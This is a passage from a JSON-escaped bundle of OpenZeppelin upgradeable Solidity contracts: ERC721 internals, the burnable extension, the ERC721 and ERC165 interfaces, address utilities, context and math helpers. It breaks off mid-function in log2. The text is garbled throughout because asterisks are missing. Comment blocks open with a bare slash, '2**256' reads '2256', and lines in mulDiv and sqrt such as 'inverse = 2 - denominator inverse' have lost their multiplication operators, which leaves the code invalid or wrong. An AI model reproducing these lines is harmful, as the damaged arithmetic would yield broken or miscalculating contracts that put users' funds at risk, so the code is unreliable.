recipients.\n /\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /\n @dev Mints `tokenId` and transfers it to `to`.\n \n WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n \n Requirements:\n \n - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n \n Emits a {Transfer} event.\n /\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /\n @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n \n Requirements:\n \n - `tokenId` must exist.\n \n Emits a {Transfer} event.\n /\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /\n @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n \n Requirements:\n \n - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n \n Emits a {Transfer} event.\n /\n function _transfer(address from, address to, uint256 tokenId) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // `_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // all 2256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /\n @dev Approve `to` to operate on `tokenId`\n \n Emits an {Approval} event.\n /\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /\n @dev Approve `operator` to operate on all of `owner` tokens\n \n Emits an {ApprovalForAll} event.\n /\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /\n @dev Reverts if the `tokenId` has not been minted yet.\n /\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /\n @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n \n @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n /\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /\n @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n \n Calling conditions:\n \n - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n \n To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n /\n function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /\n @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n \n Calling conditions:\n \n - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n \n To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n /\n function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /\n @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n \n WARNING: Anyone calling this MUST ensure that the balances remain consistent with the ownership. The invariant\n * being that for any address `a` the value returned by `balanceOf(a)` must be equal to the number of tokens such\n * that `ownerOf(tokenId)` is `a`.\n /\n // solhint-disable-next-line func-name-mixedcase\n function __unsafe_increaseBalance(address account, uint256 amount) internal {\n _balances[account] += amount;\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[44] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/\n @title ERC721 Burnable Token\n * @dev ERC721 Token that can be burned (destroyed).\n /\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n function __ERC721Burnable_init() internal onlyInitializing {\n }\n\n function __ERC721Burnable_init_unchained() internal onlyInitializing {\n }\n /\n @dev Burns `tokenId`. See {ERC721-_burn}.\n \n Requirements:\n \n - The caller must own `tokenId` or be an approved operator.\n /\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _burn(tokenId);\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/\n @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n /\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /\n @dev Returns the token collection name.\n /\n function name() external view returns (string memory);\n\n /\n @dev Returns the token collection symbol.\n /\n function symbol() external view returns (string memory);\n\n /\n @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n /\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/\n @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n /\ninterface IERC721ReceiverUpgradeable {\n /\n @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n \n It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n \n The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n /\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/\n @dev Required interface of an ERC721 compliant contract.\n /\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /\n @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n /\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /\n @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n /\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /\n @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n /\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /\n @dev Returns the number of tokens in ``owner``'s account.\n /\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /\n @dev Returns the owner of the `tokenId` token.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /\n @dev Transfers `tokenId` token from `from` to `to`.\n \n WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n \n Emits a {Transfer} event.\n /\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /\n @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n \n Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n \n Requirements:\n \n - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n \n Emits an {Approval} event.\n /\n function approve(address to, uint256 tokenId) external;\n\n /\n @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n \n Requirements:\n \n - The `operator` cannot be the caller.\n \n Emits an {ApprovalForAll} event.\n /\n function setApprovalForAll(address operator, bool approved) external;\n\n /\n @dev Returns the account approved for `tokenId` token.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /\n @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n \n See {setApprovalForAll}\n /\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/\n @dev Collection of functions related to the address type\n /\nlibrary AddressUpgradeable {\n /\n @dev Returns true if `account` is a contract.\n \n [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n \n Among others, `isContract` will return false for the following\n * types of addresses:\n \n - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n \n Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n \n [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n \n Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n /\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /\n @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n \n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n \n https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n \n IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n /\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /\n @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n \n If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n \n Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n \n Requirements:\n \n - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n \n _Available since v3.1._\n /\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n \n Requirements:\n \n - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n \n _Available since v3.1._\n /\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n \n _Available since v4.8._\n /\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /\n @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n \n _Available since v4.3._\n /\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/\n @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n \n This contract is only required for intermediate, library-like contracts.\n /\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/\n @dev Implementation of the {IERC165} interface.\n \n Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n \n ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId);\n * }\n * ```\n \n Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n /\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /\n @dev See {IERC165-supportsInterface}.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n \n Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n \n For an implementation, see {ERC165}.\n /\ninterface IERC165Upgradeable {\n /\n @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n \n This function call must use less than 30 000 gas.\n /\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Standard math utilities missing in the Solidity language.\n /\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /\n @dev Returns the largest of two numbers.\n /\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /\n @dev Returns the smallest of two numbers.\n /\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /\n @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n /\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /\n @dev Returns the ceiling of the division of two numbers.\n \n This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n /\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /\n @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n /\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 \|= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse = 2 - denominator inverse; // inverse mod 2^8\n inverse = 2 - denominator inverse; // inverse mod 2^16\n inverse = 2 - denominator inverse; // inverse mod 2^32\n inverse = 2 - denominator inverse; // inverse mod 2^64\n inverse = 2 - denominator inverse; // inverse mod 2^128\n inverse = 2 - denominator inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /*\n @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n /\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /\n @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n \n Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n /\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2msb(a)`. This value can be written `msb(a)=2k` with `k=log2(a)`.\n //\n // This can be rewritten `2log2(a) <= a < 2(log2(a) + 1)`\n // → `sqrt(2k) <= sqrt(a) < sqrt(2(k+1))`\n // → `2(k/2) <= sqrt(a) < 2((k+1)/2) <= 2(k/2 + 1)`\n //\n // Consequently, `2(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /\n * @notice Calculates sqrt(a), following the selected rounding direction.\n /\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result result < a ? 1 : 0);\n }\n }\n\n /*\n @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n /\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value 